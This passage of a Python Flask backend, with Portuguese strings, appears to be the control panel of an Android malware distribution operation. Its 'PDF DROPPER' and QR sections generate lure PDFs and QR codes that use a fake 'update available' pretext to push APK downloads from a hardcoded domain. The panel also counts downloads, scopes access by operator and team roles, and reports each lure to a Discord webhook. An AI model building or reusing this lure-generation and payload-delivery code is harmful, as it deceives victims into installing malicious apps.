    target_user = data.get('username')
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    if target_user == current_user:
        return jsonify({"success": False, "message": "Nao pode deletar a si mesmo"}), 400
    del db['users'][target_user]
    save_data(db)
    add_history(current_user, "Deletar Usuario", f"Usuario: {target_user}")
    send_discord_webhook(
        "USUARIO DELETADO",
        f"Admin **{current_user}** deletou o usuario **{target_user}**.",
        color=0xef4444,
        fields=[
            {"name": "Deletado por", "value": current_user, "inline": True},
            {"name": "Usuario removido", "value": target_user, "inline": True}
        ]
    )
    return jsonify({"success": True, "message": "Usuario deletado"})


@app.route('/user/change-password', methods=['POST'])
def change_password():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    old = str(data.get('old_password', ''))
    new = str(data.get('new_password', ''))
    if len(new) < 6:
        return jsonify({"success": False, "message": "Senha muito curta (minimo 6)"}), 400
    if old == new:
        return jsonify({"success": False, "message": "Nova senha igual a antiga"}), 400
    db = load_data()
    user = db['users'].get(session['username'])
    if not user or not verify_password(user['password'], old):
        return jsonify({"success": False, "message": "Senha atual incorreta"}), 401
    db['users'][session['username']]['password'] = generate_password_hash(new)
    # Invalida todos os cookies anteriores
    db['users'][session['username']]['session_version'] = user.get('session_version', 0) + 1
    save_data(db)
    # Atualiza session atual pra refletir a nova versao (caller continua logado)
    session['session_version'] = db['users'][session['username']]['session_version']
    add_history(session['username'], "Trocar Senha", "Senha alterada via painel")
    send_discord_webhook(
        "TROCA DE SENHA",
        f"Usuario **{session['username']}** trocou a propria senha.",
        color=0x6366f1
    )
    return jsonify({"success": True, "message": "Senha alterada"})

@app.route('/admin/history')
def admin_history():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    current_role = data["users"].get(session['username'], {}).get('role')
    if current_role == 'owner':
        return jsonify(data.get('history', []))
    return jsonify([])


# ===== PDF DROPPER =====

def _load_pdf_tokens():
    if os.path.exists(PDF_TOKENS_FILE):
        try:
            with open(PDF_TOKENS_FILE, 'r') as f:
                return json.load(f)
        except Exception:
            pass
    return {}

def _save_pdf_tokens(tokens):
    try:
        with open(PDF_TOKENS_FILE, 'w') as f:
            json.dump(tokens, f)
    except Exception:
        pass


def _hex_rgb(h):
    h = h.lstrip('#')
    return tuple(int(h[i:i+2], 16)/255.0 for i in (0, 2, 4))


def _create_dropper_pdf(pdf_path, title, message, app_name, download_url,
                         bg_color='#0e1117', btn_color='#16a34a',
                         text_color='#e2e8f0', btn_label='BAIXAR APLICATIVO'):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    bg  = _hex_rgb(bg_color)
    btn = _hex_rgb(btn_color)
    txt = _hex_rgb(text_color)
    is_dark = sum(bg) / 3 < 0.5
    sub = tuple(min(1, x+0.35) if is_dark else max(0, x-0.35) for x in txt)
    div = tuple(min(1, x+0.15) if is_dark else max(0, x-0.15) for x in bg)

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)

    c.setFillColorRGB(*btn)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    cx = w / 2
    icon_cy = h - 5.5*cm
    icon_r = 1.8*cm
    ic_fill = tuple(max(0, x-0.25) for x in btn)
    c.setFillColorRGB(*ic_fill)
    c.setStrokeColorRGB(*btn)
    c.setLineWidth(2)
    c.circle(cx, icon_cy, icon_r, fill=1, stroke=1)

    c.setFillColorRGB(1, 1, 1)
    body_w = 0.35*cm
    body_h = 0.7*cm
    c.rect(cx - body_w/2, icon_cy - 0.05*cm, body_w, body_h, fill=1, stroke=0)
    p = c.beginPath()
    p.moveTo(cx, icon_cy - 0.85*cm)
    p.lineTo(cx - 0.65*cm, icon_cy - 0.05*cm)
    p.lineTo(cx + 0.65*cm, icon_cy - 0.05*cm)
    p.close()
    c.drawPath(p, fill=1, stroke=0)
    c.setStrokeColorRGB(1, 1, 1)
    c.setLineWidth(2)
    c.line(cx - 0.5*cm, icon_cy - 1.05*cm, cx + 0.5*cm, icon_cy - 1.05*cm)

    c.setFillColorRGB(*txt)
    font_size = 22 if len(title) <= 30 else 17
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 9*cm, title)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 10*cm, app_name)

    c.setStrokeColorRGB(*div)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 11*cm, w - 3*cm, h - 11*cm)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    msg_y = h - 12.3*cm
    lines_out = []
    for paragraph in message.split('\n'):
        paragraph = paragraph.strip()
        if not paragraph:
            lines_out.append('')
            continue
        words = paragraph.split()
        line = ''
        for word in words:
            test = (line + ' ' + word).strip()
            if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
                line = test
            else:
                if line:
                    lines_out.append(line)
                line = word
        if line:
            lines_out.append(line)
        lines_out.append('')
    if lines_out and lines_out[-1] == '':
        lines_out.pop()
    for ln in lines_out[:12]:
        if ln:
            c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.5*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = sum(btn) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 13)
    lbl = btn_label[:30] if btn_label else 'BAIXAR APLICATIVO'
    c.drawCentredString(w/2, btn_y + 0.42*cm, lbl)
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)

    c.setFillColorRGB(*div)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, 1.5*cm, 'Clique no botao ou toque para baixar o aplicativo')

    c.showPage()
    c.save()


def _create_qr_png(path, url, fg_color='#000000', bg_color='#ffffff'):
    import qrcode
    fg = tuple(int(fg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg = tuple(int(bg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H, box_size=12, border=3)
    qr.add_data(url)
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg, back_color=bg)
    img.save(path)


def _create_qr_pdf(pdf_path, title, message, app_name, download_url, qr_png_path,
                    bg_color='#0e1117', btn_color='#16a34a', text_color='#e2e8f0', btn_label='BAIXAR APLICATIVO'):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm
    from reportlab.lib.utils import ImageReader

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)
    bg  = _hex_rgb(bg_color)
    btn = _hex_rgb(btn_color)
    txt = _hex_rgb(text_color)
    is_dark = sum(bg) / 3 < 0.5
    sub = tuple(min(1, x+0.35) if is_dark else max(0, x-0.35) for x in txt)
    div = tuple(min(1, x+0.15) if is_dark else max(0, x-0.15) for x in bg)

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)
    c.setFillColorRGB(*btn)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    qr_size = 6.5*cm
    qr_x = (w - qr_size) / 2
    qr_y = h - 9*cm
    try:
        c.drawImage(ImageReader(qr_png_path), qr_x, qr_y, qr_size, qr_size, mask='auto')
        c.setStrokeColorRGB(*btn)
        c.setLineWidth(2)
        c.roundRect(qr_x - 0.2*cm, qr_y - 0.2*cm, qr_size + 0.4*cm, qr_size + 0.4*cm, 0.3*cm, fill=0, stroke=1)
    except Exception:
        pass

    c.setFillColorRGB(*txt)
    font_size = 20 if len(title) <= 32 else 15
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 10.5*cm, title)
    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 11.4*cm, app_name)
    c.setStrokeColorRGB(*div)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 12.2*cm, w - 3*cm, h - 12.2*cm)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    msg_y = h - 13.5*cm
    lines_out = []
    for paragraph in message.split('\n'):
        paragraph = paragraph.strip()
        if not paragraph:
            lines_out.append('')
            continue
        words = paragraph.split()
        line = ''
        for word in words:
            test = (line + ' ' + word).strip()
            if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
                line = test
            else:
                if line: lines_out.append(line)
                line = word
        if line: lines_out.append(line)
        lines_out.append('')
    if lines_out and lines_out[-1] == '':
        lines_out.pop()
    for ln in lines_out[:8]:
        if ln:
            c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.2*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = sum(btn) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 12)
    lbl = btn_label[:30] if btn_label else 'BAIXAR APLICATIVO'
    c.drawCentredString(w/2, btn_y + 0.42*cm, lbl)
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)
    c.setFillColorRGB(*div)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, btn_y - 0.55*cm, 'Escaneie o QR Code acima ou toque no botao')
    c.drawCentredString(w/2, 1.5*cm, 'Escaneie com seu celular para baixar o aplicativo')
    c.showPage()
    c.save()



def _append_pdf_item(item):
    tokens = _load_pdf_tokens()
    items = tokens.get('__pdf_items__', [])
    items.insert(0, item)
    tokens['__pdf_items__'] = items[:200]
    _save_pdf_tokens(tokens)

def _append_qr_item(item):
    tokens = _load_pdf_tokens()
    items = tokens.get('__qr_items__', [])
    items.insert(0, item)
    tokens['__qr_items__'] = items[:200]
    _save_pdf_tokens(tokens)

def _get_user_items(key, current_user, current_role, current_team, db):
    tokens = _load_pdf_tokens()
    all_items = tokens.get(key, [])
    if current_role == 'owner':
        return all_items
    if current_role == 'admin':
        allowed = {u for u, d in db['users'].items() if d.get('team_id') == current_team}
        allowed.add(current_user)
        return [i for i in all_items if i.get('created_by') in allowed]
    return [i for i in all_items if i.get('created_by') == current_user]


@app.route('/pub/<token>')
def public_apk_download(token):
    token = re.sub(r'[^a-zA-Z0-9]', '', token)[:64]
    tokens = _load_pdf_tokens()
    entry = tokens.get(token)
    if not entry:
        return jsonify({'error': 'Link invalido ou expirado'}), 404
    expires_at = entry.get('expires_at')
    if expires_at:
        try:
            if datetime.utcnow() > datetime.fromisoformat(expires_at):
                return jsonify({'error': 'Link expirado'}), 410
        except Exception:
            pass
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', entry.get('build_id', ''))
    app_name = entry.get('app_name', 'app')
    file_path = os.path.join(app.config['OUTPUT_FOLDER'], f'{build_id}.apk')
    if not os.path.exists(file_path):
        return jsonify({'error': 'Arquivo nao disponivel'}), 404
    entry['downloads'] = entry.get('downloads', 0) + 1
    entry['last_download'] = datetime.utcnow().isoformat()
    _save_pdf_tokens(tokens)
    return send_file(file_path, as_attachment=True, download_name=f'{secure_filename(app_name)}.apk')


@app.route('/pdf/builds')
def pdf_list_builds():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    builds = []
    if current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('status') == 'concluido':
                    builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    elif current_role == 'admin':
        for uname, udata in db['users'].items():
            if udata.get('team_id') == current_team:
                for b in udata.get('builds', []):
                    if b.get('status') == 'concluido':
                        builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    else:
        for b in db['users'].get(current_user, {}).get('builds', []):
            if b.get('status') == 'concluido':
                builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    return jsonify(builds)


@app.route('/pdf/generate', methods=['POST'])
def pdf_generate():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    pdf_title = str(data.get('title', 'Atualizacao Disponivel'))[:100].strip() or 'Atualizacao Disponivel'
    pdf_message = str(data.get('message', 'Toque no botao abaixo para instalar o aplicativo.'))[:500].strip()
    bg_color  = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('bg_color',  '#0e1117')))[:7] or '#0e1117'
    btn_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('btn_color', '#16a34a')))[:7] or '#16a34a'
    txt_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('txt_color', '#e2e8f0')))[:7] or '#e2e8f0'
    btn_label = re.sub(r'[^\w\s]', '', str(data.get('btn_label', 'BAIXAR APLICATIVO')))[:30].strip() or 'BAIXAR APLICATIVO'
    expire_days = min(int(data.get('expire_days', 30) or 30), 365)
    if not build_id:
        return jsonify({'success': False, 'message': 'Build nao selecionado'}), 400
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    build_found = False
    app_name = 'App'
    search_users = db['users'].items()
    for uname, udata in search_users:
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado ou sem permissao'}), 404
    pdf_id = secrets.token_hex(12)
    dl_token = secrets.token_hex(24)
    pdf_folder = app.config['PDF_FOLDER']
    pdf_path = os.path.join(pdf_folder, f'{pdf_id}.pdf')
    download_url = f'https://www.europass-ice.site/pub/{dl_token}'
    tokens = _load_pdf_tokens()
    expires_at = (datetime.utcnow() + timedelta(days=expire_days)).isoformat()
    tokens[dl_token] = {'build_id': build_id, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at, 'downloads': 0, 'type': 'pdf'}
    _save_pdf_tokens(tokens)
    try:
        _create_dropper_pdf(pdf_path, pdf_title, pdf_message, app_name, download_url, bg_color=bg_color, btn_color=btn_color, text_color=txt_color, btn_label=btn_label)
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar PDF: {str(e)}'}), 500
    add_history(current_user, 'Gerar PDF', f'PDF gerado para build {build_id} ({app_name})')
    _append_pdf_item({'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}', 'pub_url': f'https://www.europass-ice.site/pub/{dl_token}', 'title': pdf_title, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at})
    send_discord_webhook(
        'PDF DROPPER GERADO',
        f'Novo PDF criado por **{current_user}** para **{app_name}**',
        color=0x9333ea,
        fields=[
            {'name': 'App', 'value': app_name, 'inline': True},
            {'name': 'Operador', 'value': current_user, 'inline': True},
            {'name': 'Titulo', 'value': pdf_title, 'inline': False},
            {'name': 'Link Publico', 'value': download_url, 'inline': False},
            {'name': 'Expira em', 'value': f'{expire_days} dias', 'inline': True},
        ]
    )
    return jsonify({'success': True, 'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}', 'app_name': app_name, 'title': pdf_title, 'pub_url': f'https://www.europass-ice.site/pub/{dl_token}'})


@app.route('/pdf/download/<pdf_id>')
def pdf_download_route(pdf_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    pdf_id = re.sub(r'[^a-zA-Z0-9]', '', pdf_id)[:32]
    pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')
    if not os.path.exists(pdf_path):
        return jsonify({'error': 'PDF nao encontrado'}), 404
    return send_file(pdf_path, as_attachment=True, download_name='aplicativo.pdf', mimetype='application/pdf')



# ===== QR CODE =====

def _create_qr_png(path, url, fg_color='#000000', bg_color='#ffffff', box_size=12):
    import qrcode
    from qrcode.image.styledpil import StyledPilImage
    fg = tuple(int(fg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg = tuple(int(bg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode.QRCode(version=None, error_correction=qrcode.constants.ERROR_CORRECT_H, box_size=box_size, border=3)
    qr.add_data(url)
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg, back_color=bg)
    img.save(path)


def _create_qr_pdf(pdf_path, title, message, app_name, download_url, qr_png_path, bg_color, btn_color, text_color):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm
    from reportlab.lib.utils import ImageReader

    def _hex_to_rgb(h):
        h = h.lstrip('#')
        return tuple(int(h[i:i+2], 16)/255.0 for i in (0, 2, 4))

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    bg = _hex_to_rgb(bg_color)
    btn = _hex_to_rgb(btn_color)
    txt = _hex_to_rgb(text_color)
    is_dark = (bg[0] + bg[1] + bg[2]) / 3 < 0.5

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)

    accent = btn
    c.setFillColorRGB(*accent)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    # QR code centered top area
    qr_size = 6*cm
    qr_x = (w - qr_size) / 2
    qr_y = h - 8.5*cm
    try:
        qr_img = ImageReader(qr_png_path)
        c.drawImage(qr_img, qr_x, qr_y, qr_size, qr_size, mask='auto')
        c.setStrokeColorRGB(*accent)
        c.setLineWidth(2)
        c.roundRect(qr_x - 0.2*cm, qr_y - 0.2*cm, qr_size + 0.4*cm, qr_size + 0.4*cm, 0.3*cm, fill=0, stroke=1)
    except Exception:
        pass

    sub_col = tuple(max(0, x - 0.25) if is_dark else min(1, x + 0.25) for x in txt)

    c.setFillColorRGB(*txt)
    font_size = 20 if len(title) <= 32 else 15
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 10*cm, title)

    c.setFillColorRGB(*sub_col)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 11*cm, app_name)

    c.setStrokeColorRGB(*sub_col)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 11.8*cm, w - 3*cm, h - 11.8*cm)

    c.setFillColorRGB(*sub_col)
    c.setFont('Helvetica', 11)
    msg_y = h - 13*cm
    words = message.split()
    line = ''
    lines_out = []
    for word in words:
        test = (line + ' ' + word).strip()
        if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
            line = test
        else:
            if line:
                lines_out.append(line)
            line = word
    if line:
        lines_out.append(line)
    for ln in lines_out[:6]:
        c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.3*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = (btn[0] + btn[1] + btn[2]) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 12)
    c.drawCentredString(w/2, btn_y + 0.42*cm, 'BAIXAR APLICATIVO')
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)

    hint_col = tuple(max(0, x - 0.3) if is_dark else min(1, x + 0.3) for x in txt)
    c.setFillColorRGB(*hint_col)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, btn_y - 0.6*cm, 'Ou escaneie o QR Code acima com seu celular')
    c.drawCentredString(w/2, 1.5*cm, 'Toque no botao ou escaneie o QR para baixar')

    c.showPage()
    c.save()


@app.route('/qr/builds')
def qr_list_builds():
    return pdf_list_builds()


@app.route('/qr/generate', methods=['POST'])
def qr_generate():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    fg_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('fg_color', '#000000')))[:7] or '#000000'
    bg_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('bg_color', '#ffffff')))[:7] or '#ffffff'
    as_pdf = bool(data.get('as_pdf', False))
    pdf_title = str(data.get('title', 'Atualizacao Disponivel'))[:100].strip() or 'Atualizacao Disponivel'
    pdf_message = str(data.get('message', 'Escaneie o QR Code ou toque no botao para instalar.'))[:500].strip()
    pdf_bg = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_bg', '#0e1117')))[:7] or '#0e1117'
    pdf_btn = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_btn', '#16a34a')))[:7] or '#16a34a'
    pdf_txt = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_txt', '#e2e8f0')))[:7] or '#e2e8f0'
    if not build_id:
        return jsonify({'success': False, 'message': 'Build nao selecionado'}), 400
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    build_found = False
    app_name = 'App'
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found and current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('build_id') == build_id and b.get('status') == 'concluido':
                    build_found = True
                    app_name = b.get('app_name', 'App')
                    break
            if build_found:
                break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado'}), 404

    dl_token = secrets.token_hex(24)
    tokens = _load_pdf_tokens()
    expires_at = (datetime.utcnow() + timedelta(days=30)).isoformat()
    tokens[dl_token] = {'build_id': build_id, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at, 'downloads': 0, 'type': 'qr'}
    _save_pdf_tokens(tokens)

    download_url = f'https://www.europass-ice.site/pub/{dl_token}'
    qr_id = secrets.token_hex(12)
    qr_folder = app.config['PDF_FOLDER']
    qr_png_path = os.path.join(qr_folder, f'qr_{qr_id}.png')

    try:
        _create_qr_png(qr_png_path, download_url, fg_color=fg_color, bg_color=bg_color)
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar QR: {str(e)}'}), 500

    result = {'success': True, 'qr_id': qr_id, 'qr_url': f'/qr/image/{qr_id}', 'app_name': app_name, 'pub_url': download_url}

    if as_pdf:
        pdf_id = secrets.token_hex(12)
        pdf_path = os.path.join(qr_folder, f'{pdf_id}.pdf')
        try:
            _create_qr_pdf(pdf_path, pdf_title, pdf_message, app_name, download_url, qr_png_path, pdf_bg, pdf_btn, pdf_txt)
            result['pdf_id'] = pdf_id
            result['pdf_url'] = f'/pdf/download/{pdf_id}'
        except Exception as e:
            result['pdf_warning'] = f'QR gerado mas PDF falhou: {str(e)}'

    add_history(current_user, 'Gerar QR Code', f'QR gerado para build {build_id} ({app_name})')
    _qr_item = {'qr_id': qr_id, 'qr_url': f'/qr/image/{qr_id}', 'pub_url': download_url, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat()}
    if as_pdf and 'pdf_id' in result:
        _qr_item['pdf_url'] = f'/pdf/download/{result["pdf_id"]}'
    _append_qr_item(_qr_item)

    # Discord webhook
    fields = [
        {'name': 'App', 'value': app_name, 'inline': True},
        {'name': 'Operador', 'value': current_user, 'inline': True},
        {'name': 'Link Publico', 'value': download_url[:100], 'inline': False},
    ]
    if as_pdf:
        fields.append({'name': 'PDF', 'value': 'Sim, gerado junto', 'inline': True})
    send_discord_webhook('QR CODE GERADO', f'Novo QR Code criado para **{app_name}**', color=0x3b82f6, fields=fields)

    return jsonify(result)


@app.route('/qr/image/<qr_id>')
def qr_image(qr_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    qr_id = re.sub(r'[^a-zA-Z0-9]', '', qr_id)[:32]
    qr_path = os.path.join(app.config['PDF_FOLDER'], f'qr_{qr_id}.png')
    if not os.path.exists(qr_path):
        return jsonify({'error': 'QR nao encontrado'}), 404
    return send_file(qr_path, mimetype='image/png')



@app.route('/pdf/list')
def pdf_list_items():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    items = _get_user_items('__pdf_items__', current_user, current_role, current_team, db)
    # Check which PDFs still exist on disk
    out = []
    for item in items:
        item = dict(item)
        pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{item.get("pdf_id","")}.pdf')
        item['exists'] = os.path.exists(pdf_path)
        out.append(item)
    return jsonify(out)


@app.route('/qr/list')
def qr_list_items():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    items = _get_user_items('__qr_items__', current_user, current_role, current_team, db)
    out = []
    for item in items:
        item = dict(item)
        qr_path = os.path.join(app.config['PDF_FOLDER'], f'qr_{item.get("qr_id","")}.png')
        item['exists'] = os.path.exists(qr_path)
        out.append(item)
    return jsonify(out)



@app.route('/pdf/delete/<pdf_id>', methods=['POST'])
def pdf_delete(pdf_id):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    pdf_id = re.sub(r'[^a-zA-Z0-9]', '', pdf_id)[:32]
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    tokens = _load_pdf_tokens()
    items = tokens.get('__pdf_items__', [])
    new_items = []
    found = False
    for item in items:
        if item.get('pdf_id') == pdf_id:
            owner = item.get('created_by')
            if current_role == 'owner' or owner == current_user or (current_role == 'admin' and db['users'].get(owner, {}).get('team_id') == current_team):
                found = True
                continue
        new_items.append(item)
    if not found:
        return jsonify({'success': False, 'message': 'Nao encontrado'}), 404
    tokens['__pdf_items__'] = new_items
    _save_pdf_tokens(tokens)
    pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')
    if os.path.exists(pdf_path):
        os.remove(pdf_path)
    return jsonify({'success': True})


@app.route('/qr/delete/<qr_id>', methods=['POST'])
def qr_delete(qr_id):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    qr_id = re.sub(r'[^a-zA-Z0-9]', '', qr_id)[:32]
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    tokens = _load_pdf_tokens()
    items = tokens.get('__qr_items__', [])
    new_items = []
    found = False
    pdf_id_to_del = None
    for item in items:
        if item.get('qr_id') == qr_id:
            owner = item.get('created_by')
            if current_role == 'owner' or owner == current_user or (current_role == 'admin' and db['users'].get(owner, {}).get('team_id') == current_team):
                found = True
                if item.get('pdf_url'):
                    pdf_id_to_del = item['pdf_url'].split('/')[-1]
                continue
        new_items.append(item)
    if not found:
        return jsonify({'success': False, 'message': 'Nao encontrado'}), 404
    tokens['__qr_items__'] = new_items
    _save_pdf_tokens(tokens)
    for f_name in [f'qr_{qr_id}.png']:
        p = os.path.join(app.config['PDF_FOLDER'], f_name)
        if os.path.exists(p):
            os.remove(p)
    if pdf_id_to_del:
        p = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id_to_del}.pdf')
        if os.path.exists(p):
            os.remove(p)
    return jsonify({'success': True})



def _render_advanced_pdf(pdf_path, bg_color, elements, download_url, pdf_folder):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.utils import ImageReader
    import qrcode as qrcode_lib
    import io

    CANVAS_W = 500.0
    CANVAS_H = 707.0
    PAGE_W, PAGE_H = A4  # 595.28, 841.89

    def to_pdf(cx, cy, cw, ch):
        x  = cx * (PAGE_W / CANVAS_W)
        w  = cw * (PAGE_W / CANVAS_W)
        h  = ch * (PAGE_H / CANVAS_H)
        y  = PAGE_H - cy * (PAGE_H / CANVAS_H) - h
        return x, y, w, h

    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    # background
    bg = _hex_rgb(bg_color) if bg_color else (1, 1, 1)
